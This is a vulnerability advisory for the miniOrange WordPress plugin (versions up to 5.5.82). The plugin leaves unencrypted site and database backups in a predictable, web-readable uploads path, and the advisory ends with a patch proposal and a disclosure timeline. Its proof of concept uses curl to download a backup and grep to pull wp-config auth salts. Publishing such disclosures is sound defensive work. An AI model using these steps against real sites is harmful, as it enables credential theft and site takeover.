Site compromise through leaked wp-config – (miniOrange <= 5.5.82)

Affected pluginminiOrange
Active installs20,000+
Vulnerable version<= 5.5.82
Audited version5.5.82
Fully patched version
Recommended remediationRemoval of the plugin


The plugin stores filesystem and database backups as unencrypted .zip archives in the wp-uploads directory. The only protection is a .htaccess file which is ignored by NGINX.

Since most web servers are configured to allow access to zip files in the wp-uploads directory, an attacker can download arbitrary backups and take over the entire site by stealing the wp-config salts.

Proof of concept

The plugin’s UI allows users to configure a schedule for encrypted “Encrypted Backups.”

However, when looking at the accountable method “MoBackupSite::wpfiles_backup,” there is no trace of encryption.

Furthermore, the plugin stores backups in a deterministic location.


If the backup scheduling features are used, an attacker can download backups by checking for likely timestamps (hourly, daily, etc.).

function wpfiles_backup($backup_store_path, $time){
   global $wpnsDbQueries;
       $homepath = get_home_path();
   $real_path= $homepath;
   $backup_path =$backup_store_path.'miniorangebackup'.DIRECTORY_SEPARATOR.'file-backups'.DIRECTORY_SEPARATOR.'wp_files';
   $filename = 'miniorange-wpfiles-backup-'.$time.'.zip';
   $this->file_backup($real_path,$filename, 'wp_files');
function file_backup($real_path, $filename, $foldername){
   ini_set('max_execution_time', 0);
     $backup_store_path =  wp_upload_dir();
     $backup_store_path = $backup_store_path['basedir'].DIRECTORY_SEPARATOR.'miniorangebackup'.DIRECTORY_SEPARATOR.'file-backups'.DIRECTORY_SEPARATOR;
    $rootPath = realpath($real_path);
    $zip = new ZipArchive();
    $res = $zip->open($backup_store_path.$foldername.DIRECTORY_SEPARATOR.$filename, ZipArchive::CREATE | ZipArchive::OVERWRITE);
    $files = new RecursiveIteratorIterator(
       new RecursiveDirectoryIterator($rootPath),
   foreach ($files as $name => $file)
      if (!$file->isDir())
          $filePath = $file->getRealPath();
          $relativePath = substr($filePath, strlen($rootPath) + 1);
           if(strpos($relativePath, 'miniorangebackup')!== false ){}
               $zip->addFile($filePath, $relativePath);

To verify this behavior:

1. Install the plugin on a site that runs NGINX and create a backup of the filesystem and database through the plugin’s UI.

2. Inspect the wp-uploads folder.

3. Locate a file that matches the above pattern. In our case, the filename is:

4. Download the backup and extract the zip archive:

mkdir ./leaked
curl https://local.test/wp-content/uploads/miniorangebackup/file-backups/wp_files/ -J -L -o ./leaked/
cd leaked 
cat wp-config.php | grep AUTH_SALT
define( 'AUTH_SALT',         '.P&Myx8Bu%@`2^uLJ>f!t>=F3LUTd2!^Q6|RNj00*s0$^3Ye3J$=Y)EwaH(28lmC' );
define( 'SECURE_AUTH_SALT',  'pyVDn@</ D%p%pSwA5EhM`Z{eEJ1)b~th|j&({xxbz[$?snInGq.XW%;=rv#*JyA' );

At this point, the site is wholly compromised.

Proposed patch

  1. Users of the plugin must configure a secure location for backups outside the web root. The plugin must refuse to create backups if the backup destination is readable.
  2. Backups must be encrypted using a battle-tested encryption library like:
    • defuse/php-encryption
    • paragonie/halite
  3. Access to backups must be controlled by PHP code with the proper permission checks, not the web server.


Vendor contactedSeptember 12, 2022
First ResponseSeptember 16, 2022
Fully patched at
Publicly disclosedApril 24, 2023


Leave a Reply

Your email address will not be published. Required fields are marked *